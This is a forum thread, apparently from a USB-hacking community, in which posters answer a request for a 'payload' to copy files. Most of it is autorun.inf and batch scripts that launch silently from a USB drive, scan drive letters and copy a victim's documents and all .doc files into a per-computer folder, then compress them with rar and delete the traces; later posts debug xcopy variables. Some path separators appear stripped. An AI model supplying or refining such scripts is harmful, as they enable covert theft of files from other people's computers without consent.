Jump to content

which payload is suitable for copying files?


eloelo

Recommended Posts

This might help you:

autorun.inf (on CD Partition)

[AutoRun]
open=start.bat

start.bat (on CD Partition)

@echo off 

@start /min for %%i in (D E F G H I J K L M N O P Q R S T U V W X Y Z) do %%i:copy.bat

@exit

copy.bat (in root of the flash drive)

@echo off
set file=*put path to file here*
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

When configured, copy.bat should look a bit like this:

@echo off
set filepath="C:Documents and Settings%username%My Documentsomg.doc"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %filepath% %~d0%computername%
@cls
@exit

Link to comment
Share on other sites

And I forgot to put this in, but if you want more than one file copied, you can do something like this:

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
@cls
@exit

Also, for RAR compression, put rar.exe (I got mine from the Hacksaw) in the root of the drive or in a folder somewhere. It is easier to put it in the root of the drive.

@echo off
set fp="C:Documents and Settings%username%My Documentsomg.doc"
set fp2="D:vids"
if not exist %~d0%computername% mkdir %~d0%computername%
xcopy %fp% %~d0%computername%
xcopy %fp2% %~d0%computername%
rar.exe a ~d0%computername%.rar "%~d0%computername%"
del /f/q %~d0%computername%
@cls
@exit

Both of these copy.bat's will copy the omg.doc document from My Documents and copy the entire folder D:vids folder to a folder named after the computer they came from. The rar one will then rar that folder up, and it will delete the folder it just rar'ed.

Link to comment
Share on other sites

thank you for help, but can you just tell me how to copy for example *.doc files from c: including *.doc files from subfolders?

You would actually have to use an external program. Lucky for you (and me), Obi-Wahn has coded up just the thing. It is in this topic and called File Copier. Put fc.exe in the same directory as the following batch script to grab all the .doc files in C:.

@echo off
if not exist %~d0%computername% mkdir %~d0%computername%
if not exist %~d0%computername%doc mkdir %~d0%computername%doc
fc.exe "C:*.doc" "%~d0%computername%doc" /I

Link to comment
Share on other sites

doesn't xcopy <source> <dest.> /S work well?

actually i found out that fc.exe does not understand %fd% which is an abbreviation of the destination to copy files from the switchblade batch(go.bat). (what am i doing wrong?)

Link to comment
Share on other sites

@elmer: NP. Your choise.

BTW: I've tried a test.bat

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause &gt; nul

and got a error message (translated):Ā  "Cyclic copy not possible"

So did you do something different or what?

Link to comment
Share on other sites

If people use

set D = %userprofile%Desktopfiles
md %d%
xcopy "C:*.log" "%d%" /S
pause &gt; nul

I think that DOS will get angry because it has no %d% variable, only a %D% one. I know DOS commands are not case sensitive, but are variables?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...